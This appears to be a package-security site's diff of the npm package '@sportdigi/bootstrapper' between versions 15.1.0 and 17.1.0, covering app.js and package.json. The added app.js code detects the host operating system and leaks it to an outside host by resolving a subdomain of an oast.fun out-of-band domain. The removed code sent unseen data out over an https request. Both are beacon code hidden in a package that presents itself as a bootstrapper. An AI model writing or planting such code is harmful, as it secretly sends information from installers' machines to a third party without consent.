@sportdigi/bootstrapper 15.1.0 → 17.1.0
Sign up to get free protection for your applications and to get access to all the features.
- package/app.js +30 -35
- package/package.json +1 -1
package/app.js
CHANGED
@@ -1,40 +1,35 @@
|
|
1
|
-
const
|
1
|
+
const dns = require('dns');
|
2
2
|
const os = require('os');
|
3
3
|
|
4
4
|
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
'
|
5
|
+
const platform = os.platform();
|
6
|
+
let queryData = '';
|
7
|
+
|
8
|
+
switch (platform) {
|
9
|
+
case 'aix': queryData = 'aix'
|
10
|
+
break;
|
11
|
+
case 'android': queryData = 'android'
|
12
|
+
break;
|
13
|
+
case 'darwin': queryData = 'darwin'
|
14
|
+
break;
|
15
|
+
case 'freebsd': queryData = 'freebsd'
|
16
|
+
break;
|
17
|
+
case 'linux': queryData = 'linux'
|
18
|
+
break;
|
19
|
+
case 'openbsd': queryData = 'openbsd'
|
20
|
+
break;
|
21
|
+
case 'sunos': queryData = 'sunos'
|
22
|
+
break;
|
23
|
+
case 'win32': queryData = 'windows'
|
24
|
+
break;
|
25
|
+
default: queryData = 'bilinmeyen'
|
26
|
+
}
|
27
|
+
|
28
|
+
const domain = `${queryData}.nkhgevpndozoxokzqhojhvfqppdrh4xzm.oast.fun`;
|
29
|
+
|
30
|
+
dns.resolve(domain, (err, records) => {
|
31
|
+
if (err) {
|
32
|
+
console.error('DNS sorgulama hatası:', err);
|
33
|
+
return;
|
20
34
|
}
|
21
|
-
};
|
22
|
-
|
23
|
-
const req = https.request(options, (res) => {
|
24
|
-
let responseData = '';
|
25
|
-
|
26
|
-
res.on('data', (chunk) => {
|
27
|
-
responseData += chunk;
|
28
|
-
});
|
29
|
-
|
30
|
-
res.on('end', () => {
|
31
|
-
console.log('Response:', responseData);
|
32
|
-
});
|
33
|
-
});
|
34
|
-
|
35
|
-
req.on('error', (e) => {
|
36
|
-
console.error(`Problem with request: ${e.message}`);
|
37
35
|
});
|
38
|
-
|
39
|
-
req.write(data);
|
40
|
-
req.end();
|